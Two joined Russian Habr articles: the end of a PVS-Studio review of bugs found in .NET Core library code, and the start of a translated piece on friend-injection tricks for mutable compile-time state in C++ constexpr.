if (self.array == null && otherArray == null)
{
return true;
}
else if (self.array == null) // <= 4
{
return false;
}
}
IStructuralEquatable ours = self.array; // <= 5
return ours.Equals(otherArray, comparer);
}
```
**Ключевая точка 1**. *self.array == this.array* (из-за *self = this*). Следовательно, перед вызовом метода необходимо достичь состояния *this.array == null*.
**Ключевая точка 2**. Мы можем проигнорировать этот *if*, что будет наиболее простым вариантом достижения цели, или же пойти внутрь. Чтобы проигнорировать этот *if*, достаточно, чтобы тип переменной *other* был типом *Array* или производным от него и *other* не имела значения *null*. Тогда после использования оператора *as* в *otherArray* будет записана ненулевая ссылка, и мы проигнорируем первый оператор *if*.
**Ключевая точка 3**. Этот пункт подразумевает более сложный путь. Нам обязательно нужно выйти на втором операторе *if* (тот, что с условным выражением *theirs != null*). Если этого не случится и начнётся исполнение *then*-ветви, мы гарантированно не достигнем нужного нам пункта 5 при условии *self.array == null* за счёт ключевой точки 4. Для того, чтобы не зайти в оператор *if* ключевой точки 3, необходимо выполнение одного из условий:
* чтобы значение *other* было *null*;
* чтобы фактический тип *other* не реализовывал интерфейс *IImmutableArray*.
**Ключевая точка 5**. Если мы достигли этой точки со значением *self.array == null*, значит, мы добились своей цели, и в методе будет сгенерировано исключение типа *NullReferenceException*.
Получаем следующие наборы данных, которые приведут нас к цели.
Первое: *this.array — null*.
Второе — одно из следующих:
* *other* — *null*;
* *other* имеет тип *Array* или производный от него;
* *other* не имеет тип *Array* или производный от него, и при этом не реализует интерфейс *IImmutableArray*.
*array* — поле, объявленное следующим образом:
```
internal T[] array;
```
Так как *ImmutableArray* — структура, она имеет конструктор по умолчанию (без аргументов), в результате исполнения которого поле *array* примет значение по умолчанию, то есть — *null*. А это то, что нам нужно.
Ну и не забудем, что мы исследовали явную реализацию интерфейсного метода, следовательно, перед вызовом нужно будет выполнить приведение.
Теперь мы имеем все карты на руках, чтобы добиться возникновения исключения тремя способами. Подключаем отладочную версию библиотеки, пишем код, исполняем, наблюдаем.
**Фрагмент кода 1**.
```
var comparer = EqualityComparer.Default;
ImmutableArray immutableArray = new ImmutableArray();
((IStructuralEquatable)immutableArray).Equals(null, comparer);
```
**Фрагмент кода 2**.
```
var comparer = EqualityComparer.Default;
ImmutableArray immutableArray = new ImmutableArray();
((IStructuralEquatable)immutableArray).Equals(new string[] { }, comparer);
```
**Фрагмент кода 3**.
```
var comparer = EqualityComparer.Default;
ImmutableArray immutableArray = new ImmutableArray();
((IStructuralEquatable)immutableArray).Equals(typeof(Object), comparer);
```
Результат исполнения всех трёх фрагментов кода будет одним и тем же, только достигнут он будет за счёт разных входных данных и разных путей исполнения.
**Issue 54**
Если вы не забыли, у нас ещё один метод, который нужно постараться скомпрометировать. :) Только в этот раз так подробно разбирать его не будем. Тем более, что часть информации нам уже известна из предыдущего примера.
```
int IStructuralComparable.CompareTo(object other, IComparer comparer)
{
var self = this;
Array otherArray = other as Array;
if (otherArray == null)
{
var theirs = other as IImmutableArray;
if (theirs != null)
{
otherArray = theirs.Array;
if (self.array == null && otherArray == null)
{
return 0;
}
else if (self.array == null ^ otherArray == null)
{
throw new ArgumentException(
SR.ArrayInitializedStateNotEqual, nameof(other));
}
}
}
if (otherArray != null)
{
IStructuralComparable ours = self.array;
return ours.CompareTo(otherArray, comparer); // <=
}
throw new ArgumentException(SR.ArrayLengthsNotEqual, nameof(other));
}
```
**Предупреждение PVS-Studio**: [V3125](https://www.viva64.com/ru/w/v3125/) The 'ours' object was used after it was verified against null. Check lines: 1265, 1251. ImmutableArray\_1.cs 1265
Как видите, ситуация очень похожа на рассмотренный ранее пример.
Напишем следующий код:
```
Object other = ....;
var comparer = Comparer.Default;
ImmutableArray immutableArray = new ImmutableArray();
((IStructuralComparable)immutableArray).CompareTo(other, comparer);
```
Попробуем подобрать входные значения так, чтобы достичь точки, где возникает исключение типа *NullReferenceException*.
**Значение**: *other* — *new String[]{ }*;
Результат:
Таким образом, нам опять удалось подобрать набор входных данных, при которых в методе возникает исключение.
**Issue 55**
В проекте *System.Net.HttpListener* встретилось несколько мест, мало того, что подозрительных, так и очень похожих друг на друга. И вновь у меня закрадываются смутные сомнения по поводу copy-paste. Так как паттерн одинаковый, рассмотрим один пример кода, для остальных случаев приведу предупреждения анализатора:
```
public override IAsyncResult BeginRead(byte[] buffer, ....)
{
if (NetEventSource.IsEnabled)
{
NetEventSource.Enter(this);
NetEventSource.Info(this,
"buffer.Length:" + buffer.Length +
" size:" + size +
" offset:" + offset);
}
if (buffer == null)
{
throw new ArgumentNullException(nameof(buffer));
}
....
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'buffer' object was used before it was verified against null. Check lines: 51, 53. HttpRequestStream.cs 51
Генерация исключения типа *ArgumentNullException* при условии *buffer == null* явно намекает на то, что *null* — недопустимое значение для этой переменной. Однако, если значение выражения *NetEventSource.IsEnabled* — *true*, и при этом *buffer* — *null*, будет сгенерировано исключение типа *NullReferenceException* при вычислении выражения *buffer.Length*. Соответственно, до проверки *buffer == null* в этом случае дело даже не дойдёт.
Предупреждения PVS-Studio, выданные на другие методы с точно таким же паттерном:
* [V3095](https://www.viva64.com/ru/w/v3095/) The 'buffer' object was used before it was verified against null. Check lines: 49, 51. HttpResponseStream.cs 49
* [V3095](https://www.viva64.com/ru/w/v3095/) The 'buffer' object was used before it was verified against null. Check lines: 74, 75. HttpResponseStream.cs 74
**Issue 56**
Подобный код встретился и в проекте *System.Transactions.Local*.
```
internal override void EnterState(InternalTransaction tx)
{
if (tx._outcomeSource._isoLevel == IsolationLevel.Snapshot)
{
throw TransactionException.CreateInvalidOperationException(
TraceSourceType.TraceSourceLtm,
SR.CannotPromoteSnapshot,
null,
tx == null ? Guid.Empty : tx.DistributedTxId);
}
....
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'tx' object was used before it was verified against null. Check lines: 3282, 3285. TransactionState.cs 3282
При определённом условии хотят сгенерировать исключение типа *InvalidOperationException*. При вызове метода для создания объекта исключения используют параметр *tx*, при этом его проверяют на равенство *null*, чтобы не сгенерировать исключение типа *NullReferenceException* при вычислении выражения *tx.DistributedTxId*. Ирония в том, что, если *tx* — *null* эта проверка не поможет, так как при вычислении условия оператора *if* выполняется обращение к экземплярным полям через переменную *tx* — *tx.\_outcomeSource.\_isoLevel*.
**Issue 57**
Код из проекта *System.Runtime.Caching*.
```
internal void SetLimit(int cacheMemoryLimitMegabytes)
{
long cacheMemoryLimit = cacheMemoryLimitMegabytes;
cacheMemoryLimit = cacheMemoryLimit << MEGABYTE_SHIFT;
_memoryLimit = 0;
// never override what the user specifies as the limit;
// only call AutoPrivateBytesLimit when the user does not specify one.
if (cacheMemoryLimit == 0 && _memoryLimit == 0)
{
// Zero means we impose a limit
_memoryLimit = EffectiveProcessMemoryLimit;
}
else if (cacheMemoryLimit != 0 && _memoryLimit != 0)
{
// Take the min of "cache memory limit" and
// the host's "process memory limit".
_memoryLimit = Math.Min(_memoryLimit, cacheMemoryLimit);
}
else if (cacheMemoryLimit != 0)
{
// _memoryLimit is 0, but "cache memory limit"
// is non-zero, so use it as the limit
_memoryLimit = cacheMemoryLimit;
}
....
}
```
**Предупреждение PVS-Studio**: [V3022](https://www.viva64.com/ru/w/v3022/) Expression 'cacheMemoryLimit != 0 && \_memoryLimit != 0' is always false. CacheMemoryMonitor.cs 250
Если внимательно посмотреть на код, можно заметить, что одно из выражений — *cacheMemoryLimit != 0 && \_memoryLimit != 0* — всегда будет иметь значение *false*. Так как *\_memoryLimit* имеет значение 0 (выставляется перед оператором *if*), правый операнд оператора && имеет значение *false*, следовательно, результат всего выражения также *false*.
**Issue 58**
Ниже привожу подозрительный фрагмент кода из проекта *System.Diagnostics.TraceSource*.
```
public override object Pop()
{
StackNode n = _stack.Value;
if (n == null)
{
base.Pop();
}
_stack.Value = n.Prev;
return n.Value;
}
```
**Предупреждение PVS-Studio**: [V3125](https://www.viva64.com/ru/w/v3125/) The 'n' object was used after it was verified against null. Check lines: 115, 111. CorrelationManager.cs 115
Интересный код. Из-за проверки *n == null* предположу, что *null* — возможное значение для этой локальной переменной. Если это так — ниже будет сгенерировано исключение типа *NullReferenceException* при доступе к экземплярному свойству — *n.Prev*. Если *n* в данном случае никогда не может быть *null*, то вызов *base.Pop()* в данном контексте никогда не будет выполнен.
**Issue 59**
Интересное место нашлась в проекте *System.Drawing.Primitives*. И вновь предлагаю найти проблему самостоятельно. Вот код:
```
public static string ToHtml(Color c)
{
string colorString = string.Empty;
if (c.IsEmpty)
return colorString;
if (ColorUtil.IsSystemColor(c))
{
switch (c.ToKnownColor())
{
case KnownColor.ActiveBorder:
colorString = "activeborder";
break;
case KnownColor.GradientActiveCaption:
case KnownColor.ActiveCaption:
colorString = "activecaption";
break;
case KnownColor.AppWorkspace:
colorString = "appworkspace";
break;
case KnownColor.Desktop:
colorString = "background";
break;
case KnownColor.Control:
colorString = "buttonface";
break;
case KnownColor.ControlLight:
colorString = "buttonface";
break;
case KnownColor.ControlDark:
colorString = "buttonshadow";
break;
case KnownColor.ControlText:
colorString = "buttontext";
break;
case KnownColor.ActiveCaptionText:
colorString = "captiontext";
break;
case KnownColor.GrayText:
colorString = "graytext";
break;
case KnownColor.HotTrack:
case KnownColor.Highlight:
colorString = "highlight";
break;
case KnownColor.MenuHighlight:
case KnownColor.HighlightText:
colorString = "highlighttext";
break;
case KnownColor.InactiveBorder:
colorString = "inactiveborder";
break;
case KnownColor.GradientInactiveCaption:
case KnownColor.InactiveCaption:
colorString = "inactivecaption";
break;
case KnownColor.InactiveCaptionText:
colorString = "inactivecaptiontext";
break;
case KnownColor.Info:
colorString = "infobackground";
break;
case KnownColor.InfoText:
colorString = "infotext";
break;
case KnownColor.MenuBar:
case KnownColor.Menu:
colorString = "menu";
break;
case KnownColor.MenuText:
colorString = "menutext";
break;
case KnownColor.ScrollBar:
colorString = "scrollbar";
break;
case KnownColor.ControlDarkDark:
colorString = "threeddarkshadow";
break;
case KnownColor.ControlLightLight:
colorString = "buttonhighlight";
break;
case KnownColor.Window:
colorString = "window";
break;
case KnownColor.WindowFrame:
colorString = "windowframe";
break;
case KnownColor.WindowText:
colorString = "windowtext";
break;
}
}
else if (c.IsNamedColor)
{
if (c == Color.LightGray)
{
// special case due to mismatch between Html and enum spelling
colorString = "LightGrey";
}
else
{
colorString = c.Name;
}
}
else
{
colorString = "#" + c.R.ToString("X2", null) +
c.G.ToString("X2", null) +
c.B.ToString("X2", null);
}
return colorString;
}
```
Ладно-ладно, снова эти мои шутки… Или же вы смогли? В любом случае, сократим код, чтобы более явно обозначить проблему.
Вот сокращённая версия кода:
```
switch (c.ToKnownColor())
{
....
case KnownColor.Control:
colorString = "buttonface";
break;
case KnownColor.ControlLight:
colorString = "buttonface";
break;
....
}
```
**Предупреждение PVS-Studio**: [V3139](https://www.viva64.com/ru/w/v3139/) Two or more case-branches perform the same actions. ColorTranslator.cs 302
Не могу сказать наверняка, но думаю, что это всё-таки ошибка. В остальных случаях, когда для нескольких элементов перечисления хотели вернуть одно и то же значение, использовали несколько *case*, следующих друг за другом. А ошибиться при copy-paste здесь достаточно легко, как мне кажется.
Копнём ещё чуть глубже. Чтобы получить на выходе анализируемого метода *ToHtml* значение *«buttonface»*, на вход можно передать одно из следующих значений (ожидаемо):
* *SystemColors.Control*;
* *SystemColors.ControlLight*.
Если для каждого из этих цветов посмотреть значения ARGB, можно увидеть следующее:
* *SystemColors.Control* — *(255, 240, 240, 240)*;
* *SystemColors.ControlLight — (255, 227, 227, 227)*.
Если позвать на полученном значении (*«buttonface»*) обратный метод конвертации — *FromHtml*, получим цвет *Control (255, 240, 240, 240)*. Можно ли получить из *FromHtml* цвет *ControlLight*? Да. В этом методе есть таблица цветов, на основании которой (в частном случае) получается цвет. В инициализаторе таблицы есть следующая строка:
```
s_htmlSysColorTable["threedhighlight"]
= ColorUtil.FromKnownColor(KnownColor.ControlLight);
```
Соответственно, *FromHtml* возвращает цвет *ControlLight (255, 227, 227, 227)* для значения *«threedhighlight»*. Я думаю, именно это значение и должно было использоваться в *case KnownColor.ControlLight*.
**Issue 60**
Посмотрим на парочку интересных предупреждений из проекта *System.Text.RegularExpressions*.
```
internal virtual string TextposDescription()
{
var sb = new StringBuilder();
int remaining;
sb.Append(runtextpos);
if (sb.Length < 8)
sb.Append(' ', 8 - sb.Length);
if (runtextpos > runtextbeg)
sb.Append(RegexCharClass.CharDescription(runtext[runtextpos - 1]));
else
sb.Append('^');
sb.Append('>');
remaining = runtextend - runtextpos;
for (int i = runtextpos; i < runtextend; i++)
{
sb.Append(RegexCharClass.CharDescription(runtext[i]));
}
if (sb.Length >= 64)
{
sb.Length = 61;
sb.Append("...");
}
else
{
sb.Append('$');
}
return sb.ToString();
}
```
**Предупреждение PVS-Studio**: [V3137](https://www.viva64.com/ru/w/v3137/) The 'remaining' variable is assigned but is not used by the end of the function. RegexRunner.cs 612
В локальную переменную *remaining* записывают какое-то значение, но до конца метода её больше не используют. Возможно, какой-то код, использующий её, удалили, но про саму переменную забыли. Или же здесь более серьёзная ошибка и эта переменная как-то должна использоваться.
**Issue 61**
```
public void AddRange(char first, char last)
{
_rangelist.Add(new SingleRange(first, last));
if (_canonical && _rangelist.Count > 0 &&
first <= _rangelist[_rangelist.Count - 1].Last)
{
_canonical = false;
}
}
```
**Предупреждение PVS-Studio**: [V3063](https://www.viva64.com/ru/w/v3063/) A part of conditional expression is always true if it is evaluated: \_rangelist.Count > 0. RegexCharClass.cs 523
Анализатор справедливо заметил, что часть выражения — *\_rangelist.Count > 0* — будет всегда иметь значение *true*, если этот код будет исполнен. Даже если список, на который указывает *\_rangelist*, был пустым, после добавления элемента — *\_rangelist.Add(....)* — он таковым уже не будет.
**Issue 62**
Посмотрим на срабатывания диагностического правила [V3128](https://www.viva64.com/ru/w/v3128/) в проектах *System.Drawing.Common* и *System.Transactions.Local*.
```
private class ArrayEnumerator : IEnumerator
{
private object[] _array;
private object _item;
private int _index;
private int _startIndex;
private int _endIndex;
public ArrayEnumerator(object[] array, int startIndex, int count)
{
_array = array;
_startIndex = startIndex;
_endIndex = _index + count;
_index = _startIndex;
}
....
}
```
**Предупреждение PVS-Studio**: [V3128](https://www.viva64.com/ru/w/v3128/) The '\_index' field is used before it is initialized in constructor. PrinterSettings.Windows.cs 1679
При инициализации поля *\_endIndex* используется другое поле — *\_index*, которое на момент использования имеет стандартное значение — *default(int)*, то есть *0*. Ниже поле *\_index* уже инициализируется. Если вдруг это не ошибка — переменную *\_index* следовало бы опустить в этом выражении, чтобы не сбивала с толку.
**Issue 63**
```
internal class TransactionTable
{
....
private int _timerInterval;
....
internal TransactionTable()
{
// Create a timer that is initially disabled by specifing
// an Infinite time to the first interval
_timer = new Timer(new TimerCallback(ThreadTimer),
null,
Timeout.Infinite,
_timerInterval);
....
// Store the timer interval
_timerInterval = 1 << TransactionTable.timerInternalExponent;
....
}
}
```
**Предупреждение PVS-Studio**: [V3128](https://www.viva64.com/ru/w/v3128/) The '\_timerInterval' field is used before it is initialized in constructor. TransactionTable.cs 151
Ситуация аналогична описанной выше. Сначала используют значение поля *\_timerInterval* (пока оно ещё равно *default(int)*) для инициализации *\_timer*, и лишь затем инициализируют само поле *\_timerInterval*.
**Issue 64**
Следующие предупреждения были получены диагностическим правилом, которое ещё находится в разработке. У него пока нет документации и окончательного сообщения, но с его помощью уже удалось найти пару интересных мест. Опять эти места выглядят как *copy-paste*, так что мы рассмотрим только один фрагмент кода.
```
private bool ProcessNotifyConnection(....)
{
....
WeakReference reference = (WeakReference)(
LdapConnection.s_handleTable[referralFromConnection]);
if ( reference != null
&& reference.IsAlive
&& null != ((LdapConnection)reference.Target)._ldapHandle)
{ .... }
....
}
```
**Предупреждение PVS-Studio (заглушка)**: VXXXX TODO\_MESSAGE. LdapSessionOptions.cs 974
Опасность здесь заключается в том, что если после проверки *reference.IsAlive* будет выполнена сборка мусора и под неё попадёт объект, на который ссылается *WeakReference*, *reference.Target* вернёт значение *null*. Как следствие — при доступе к экземплярному полю *\_ldapHandle* возникнет исключение типа *NullReferenceException*. Собственно, про эту ловушку с проверкой IsAlive предупреждает и сам Microsoft. Цитата с docs.microsoft.com — "[WeakReference.IsAlive Property](https://docs.microsoft.com/en-us/dotnet/api/system.weakreference.isalive?view=netcore-3.0)": *Because an object could potentially be reclaimed for garbage collection immediately after the IsAlive property returns true, using this property is not recommended unless you are testing only for a false return value.*
Обобщение по результатам анализа
--------------------------------
Все ли это ошибки и интересные места, найденные в результате анализа? Конечно, нет! Начиная просматривать результаты анализа, я внимательно просматривал предупреждения. По мере того, как их количество увеличивалось и становилось понятно, что на статью предупреждений наберётся, я пролистывал результаты, стараясь отобрать только то, что покажется мне наиболее интересным. Когда добрался до последних (самых больших логов), сил оставалось уже только на то, что пролистывать все предупреждения, пока взгляд не зацепится за что-нибудь необычное. Так что, если покопаться, уверен, можно найти ещё много интересных мест.
Например, я игнорировал почти все предупреждения [V3022](https://www.viva64.com/ru/w/v3022/) и [V3063](https://www.viva64.com/ru/w/v3063/). Условно говоря, если встречался код вида:
```
String str = null;
if (str == null)
....
```
Я его пропускал, так как были места поинтереснее, которые хотелось описать. Были срабатывания на небезопасную блокировку с использованием *lock statement* с блокировкой по *this* и т.п. — [V3090](https://www.viva64.com/ru/w/v3090/); небезопасные вызовы событий — [V3083](https://www.viva64.com/ru/w/v3083/); на объекты, типы которых реализуют *IDisposable*, но для которых не вызывается *Dispose* / *Close* — [V3072](https://www.viva64.com/ru/w/v3072/) и аналогичные диагностики; и многое другое.
Не выписывал (по крайней мере — старался, случайно мог что-то выписать) я проблемы, найденные в тестах. Кроме пары мест, показавшихся мне достаточно интересными, чтобы обратить на них внимание. Но тестирующий код ведь тоже может содержать ошибки, из-за чего тесты будут работать неверно.
В общем, ещё есть, что поизучать — но выписать *абсолютно все найденные проблемы* целью перед собой я не ставил.
Качество кода показалось мне неравномерным. Одни проекты — идеально чистые, другие же содержат подозрительные места. Пожалуй, чистота проектов ожидаема, особенно в случае с наиболее часто используемыми библиотечными классами.
Если обобщать — наверное, можно сказать, что код достаточно качественный ввиду того, объём кода был проанализирован всё же немалый. Но, как следует из этой статьи, без тёмных уголков не обошлось.
Кстати, проект такого объёма — это также хороший тест для анализатора. Мне удалось найти ряд ложных / странных предупреждений, которые я отобрал для изучения и исправления. Так что в результате анализа удалось найти те точки, где стоит поработать и над самим PVS-Studio.
Заключение
----------
Если вы добрались до этого места, прочитав статью целиком — позвольте пожать вашу руку! Надеюсь, что мне удалось показать вам интересные ошибки и продемонстрировать пользу статического анализа. Если вы дополнительно узнали для себя что-то новое, что позволит писать вам более качественный код — я буду рад вдвойне.
Так или иначе, помощь статического анализа лишней не будет, поэтому предлагаю [попробовать PVS-Studio](https://www.viva64.com/ru/pvs-studio-download/) на своём проекте и посмотреть, какие интересные места удастся найти с его помощью. Если возникнут какие-то вопросы или просто захочется поделиться интересными обнаруженными местами — смело пишите на [support@viva64.com](mailto:support@viva64.com). :)
Всего хорошего!
P.S. Обращение к разработчикам библиотек .NET Core
--------------------------------------------------
Большое спасибо за то, что вы делаете! Вы — большие молодцы. Надеюсь, эта статья поможет сделать код немного лучше. Помните, что в статье я выписал не все подозрительные места, и лучше самостоятельно проверить проект с помощью анализатора — так можно более подробно изучить все предупреждения, да и работать будет удобнее, чем с простым текстовым логом / перечнем ошибок (чуть подробнее [я писал об этом здесь](https://www.viva64.com/ru/b/0449/)).
[](https://habr.com/ru/company/pvs-studio/blog/463535/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [Checking the .NET Core Libraries Source Code by the PVS-Studio Static Analyzer](https://habr.com/ru/company/pvs-studio/blog/463535/) | https://habr.com/ru/post/463537/ | null | ru | null |
# Неконстантные константные выражения
// <какой-то код>
int main ()
{
constexpr int a = f ();
constexpr int b = f ();
static\_assert (a != b, "fail");
}
Можно ли в приведенном выше фрагменте вместо комментария вставить *такое* определение f (), чтобы a получила значение, отличное от b?
“Разумеется, нет!” — скажете вы, немного подумав. Действительно, обе переменные объявлены со спецификатором constexpr, а значит, f () тоже должна быть *constexpr*-функцией. Всем известно, что *constexpr*-функции могут выполняться во время компиляции, и, как следствие, не должны зависеть от глобального состояния программы или изменять его (иными словами, [должны быть чистыми](https://goo.gl/Qxl5mY)). Чистота означает, что функция при каждом вызове с одними и теми же аргументами должна возвращать одно и то же значение. f () оба раза вызывается без аргументов, поэтому должна оба раза вернуть одно и то же значение, которое и будет присвоено переменным a и b… правильно?
Еще неделю назад я знал, что это правда, и действительно думал, что невозможно пройти static\_assert в приведенном выше фрагменте, не допуская неопределенного поведения.
Я ошибался.
### Содержание
* [Введение](#Introduction)
* [Зачем вообще может понадобиться подобное?](#Why_is_this_an_interesting_problem)
* [Предварительные сведения](#Prerequisites)
+ [Ключевое слово friend](#The_friend_keyword)
+ [Правила для константных выражений](#The_rules_of_constant-expressions)
+ [Семантика инстанцирования шаблонов](#The_semantics_of_template_instantiation)
* [Решение](#Solution)
+ [Реализация](#The_Implementation)
+ [Разъяснение](#The_Explanation)
* [Заключение](#Conclusion)
* [Приложение](#Appendix)
* [От переводчика](#From_the_translator)
> **Дисклеймер:** Техника, описанная в этой статье, позиционируется как «очередной хитрый хак с погружением в темные глубины C++». Я никому не рекомендую использовать ее в продакшене без предварительного изучения всех подводных камней (которые будут подробно описаны в следующих статьях).
>
>
>
> Дисклеймер был добавлен после прочтения мною на других сайтах комментариев к этой статье, в которых я обнаружил непонимание ее предназначения. Я не одобряю использование описанной техники за пределами вашей спальни (без учета последствий подобного использования).
Зачем вообще может понадобиться подобное?
-----------------------------------------
Решив задачу, поставленную в начале статьи, мы сможем успешно добавить изменяемое состояние в процесс компиляции (проще говоря, писать императивные метапрограммы).
> **Прим. пер:** Читатель может возразить, что императивность в метапрограммы можно легко добавить, используя изменяемые макросы-константы в качестве «переменных». Так, для решения нашей задачи можно использовать #define f() \_\_COUNTER\_\_ или что-то подобное.
>
>
>
> К сожалению, это работает только в самых простых случаях, поскольку препроцессор раскрывает макросы, как только встречает их в тексте программы, игнорируя при этом синтаксические конструкции самого языка. Поэтому, как только порядок инстанцирования метафункций становится нетривиальным, или требуется что-то кроме считывания и однократного изменения переменной, макросы перестают быть полезными в этом качестве.
На первый взгляд это может показаться маленькой и невинной концепцией, но техника, описанная в статье, позволит нам решить ряд проблем, которые ранее требовали очень сложного кода или были неразрешимы вовсе.
Например:
#### Compile-time счетчик
> using C1 = ...;
>
>
>
> int constexpr a = C1::next (); // = 1
>
> int constexpr b = C1::next (); // = 2
>
> int constexpr c = C1::next (); // = 3
#### Compile-time контейнер метатипов
> using LX = ...;
>
>
>
> LX::push<void, void, void, void> ();
>
> LX::set<0, class Hello> ();
>
> LX::set<2, class World> ();
>
> LX::pop ();
>
>
>
> LX::value<> x; // type\_list
#### Другие идеи
* [Как узнать, был ли шаблон уже инстанцирован с определенными параметрами?](http://stackoverflow.com/q/28179835/1090079)
* [Как получить адрес именно той функции, которая вызовется после разрешения перегрузки?](http://stackoverflow.com/questions/29522800/is-it-possible-to-obtain-the-address-of-a-implicit-instantiation-of-a-function-t#comment47201158_29522800)
* [Как добавить в C++-приложение рефлексию?](http://stackoverflow.com/q/41453/1090079)
Предварительные сведения
------------------------
> **Замечание:** В этой части детально описываются технические аспекты, имеющие отношение к решению задачи. Так что наиболее опытные (или нетерпеливые) читатели могут ее пропустить. Если вы здесь только ради вкусняшек, переходите сразу к [решению](#Solution).
> **Замечание:** Рекомендуется все же хотя бы бегло пролистать эту часть, если вам интересно, как именно и почему код решения работает (и является легальным с точки зрения стандарта).
### Ключевое слово friend
Отношение дружбы в C++ может использоваться не только для простого предоставления другой сущности доступа к своим private и protected членам. Рассмотрим следующий (очень простой) пример:
> class A;
>
> void touch (A&);
>
>
>
> class A
>
> {
>
> friend void touch (A&);
>
> int member;
>
> };
>
>
>
> void touch (A& ref)
>
> {
>
> ref.member = 123; // OK, `void touch(A&)` является другом класса A
>
> }
>
>
>
> int main ()
>
> {
>
> A a; a.member = 123; // Некорректно, член `A::member` приватный
>
> A b; touch (b);
>
> }
Сначала мы *объявляем* функцию void touch (A&) в глобальной области видимости, затем объявляем ее *дружественной* классу A, и, наконец, *определяем* ее в глобальной области видимости.
С тем же успехом мы можем поместить объединенные объявление и определение void touch (A&) непосредственно внутри класса A, ничего больше не меняя — как в следующем примере:
> class A
>
> {
>
> friend void touch (A& ref)
>
> {
>
> ref.member = 123;
>
> }
>
>
>
> int member;
>
> };
>
>
>
> int main ()
>
> {
>
> A b; touch (b); // OK
>
> }
Очень важно, что эти два подхода к использованию friend не являются полностью эквивалентными (хотя в данном конкретном случае может показаться, что это так).
В последнем примере void touch (A&) будет неявно размещена в области видимости ближайшего объемлющего для класса A пространства имен, но доступ к ней будет возможен только при помощи [*поиска Кёнига*](http://en.cppreference.com/w/cpp/language/adl) (ADL).
> class A
>
> {
>
> public:
>
> A (int);
>
>
>
> friend void touch (A) { ... }
>
> };
>
>
>
> int main ()
>
> {
>
> A b = 0; touch (b); // ОК, `void touch (A)` будет найдена посредством ADL
>
> touch (0); // Некорректно, тип аргумента `int`, и ADL не просмотрит класс `A`
>
> }
Приведенная ниже выдержка из стандарта повторяет вышесказанное, но я хочу, чтобы вы сконцентрировались на том, что написано между строк (потому что это в равной степени важно):
> 7.3.1.2/3 **Определения членов пространств имен** [namespace.memdef]p3
> > Каждое имя, впервые объявленное внутри пространства имен, является членом этого пространства имен. Если *friend*-объявление внутри нелокального класса впервые объявляет класс, функцию, шаблон класса или шаблон функции, они становятся членами ближайшего объемлющего пространства имен. *friend*-объявление само по себе не делает имя видимым для неквалифицированного (3.4.1) или квалифицированного (3.4.3) поиска имен.
>
>
Обратите внимание, что нигде не утверждается, что имя, введенное посредством *friend*-объявления, должно иметь какое-либо отношение к имени класса, в котором это объявление находится, да и вообще какое-либо отношение к этому классу, если уж на то пошло.
> #include
>
>
>
> class A
>
> {
>
> public:
>
> A (int) { }
>
> friend void f (A);
>
> };
>
>
>
> void g (A);
>
>
>
> class B
>
> {
>
> friend void f (A)
>
> {
>
> std::cout << "hello world!" << std::endl;
>
> }
>
>
>
> class C
>
> {
>
> friend void g (A)
>
> {
>
> std::cout << "!dlrow olleh" << std::endl;
>
> }
>
> };
>
> };
>
>
>
> int main ()
>
> {
>
> A a (0);
>
> f (a);
>
> g (1);
>
> }
Так, f () никак не связана с классом B, за исключением того факта, что она определена как friend прямо внутри него, и такой код является абсолютно корректным.
> **Замечание:** Эти рассуждения могут показаться достаточно тривиальными, но если у вас возникли сомнения по поводу того, что происходит, я призываю вас расчехлить какой-нибудь компилятор и поиграться с приведенными фрагментами.
### Правила для константных выражений
Существует большое количество правил, связанных с constexpr, и можно было бы сделать это введение более строгим и детальным, но я буду краток:
* [*Литеральным*](http://en.cppreference.com/w/cpp/concept/LiteralType) называется тип, который могут иметь *constexpr*-переменные и возвращаемые *constexpr*-функциями значения. Такими типами являются: скалярные типы (арифметические типы, указатели и перечисления), ссылочные типы и некоторые другие. Кроме того, классы, удовлетворяющие определенным ограничениям (*constexpr*-конструктор, тривиальный деструктор, типы всех членов-данных и базовые классы являются литеральными) также являются литеральными типами;
* Переменная, объявленная со спецификатором constexpr, должна иметь литеральный тип и сразу быть инициализирована *константным выражением*;
* Функция, объявленная со спецификатором constexpr, должна принимать в качестве параметров и возвращать только литеральные типы, а также не должна содержать конструкции, которые запрещены в *константных выражениях* (например, вызовы не *constexpr*-функций).
* *Константным* называется выражение, в котором не встречаются:
+ Вызовы не *constexpr*-функций;
+ Вызовы функций, которые еще не определены;
+ Вызовы функций с аргументами, которые не являются константными выражениями;
+ Обращения к переменным, которые не были инициализированы константными выражениями и начали существовать до начала вычисления текущего константного выражения;
+ Конструкции, вызывающие неопределенное поведение;
+ Лямбда-выражения, возбуждения исключений и некоторые другие конструкции.
> **Замечание:** Этот список является неполным и нестрогим, но дает представление о том, как ведут себя *constexpr*-сущности и константные выражения в большинстве случаев.
Вместо глубокого исследования всех аспектов работы с константными выражениями, мы сфокусируемся на правиле, которое требует, чтобы константные выражения не содержали вызовов функций, которые к моменту вызова еще не определены.
> constexpr int f ();
>
> void indirection ();
>
>
>
> int main ()
>
> {
>
> constexpr int n = f (); // Некорректно, `int f ()` еще не определена
>
> indirection ();
>
> }
>
>
>
> constexpr int f ()
>
> {
>
> return 0;
>
> }
>
>
>
> void indirection ()
>
> {
>
> constexpr int n = f (); // ОК
>
> }
Здесь *constexpr*-функция int f () является *объявленной*, но не *определенной* в main, но имеет определение внутри indirection (поскольку к моменту начала тела indirection определение уже предоставлено). Поэтому внутри indirection вызов *constexpr*-функции f () будет константным выражением, а инициализация n — корректной.
#### Как проверить, что выражение является константным
Есть несколько способов проверить, является ли заданное выражение *константным*, но некоторые из них сложнее в реализации, чем другие.
Опытный C++-разработчик немедленно увидит здесь возможность удачно применить концепцию [*SFINAE*](http://habrahabr.ru/post/205772/) (Substitution Failure Is Not An Error) и будет прав; но мощь, которую предоставляет SFINAE, сопровождается необходимостью написания довольно сложного кода.
> **Прим. пер:** **Например, такого**
> > constexpr int x = 7;
> >
> >
> >
> > template <typename>
> >
> > std::false\_type isConstexpr (...);
> >
> >
> >
> > template <typename T, T test = (15\*25 - x)> //Проверяемое выражение
> >
> > std::true\_type isConstexpr (T \*);
> >
> >
> >
> > constexpr bool value = std::is\_same <decltype (isConstexpr <int> (nullptr)), std::true\_type>::value; //true
>
>
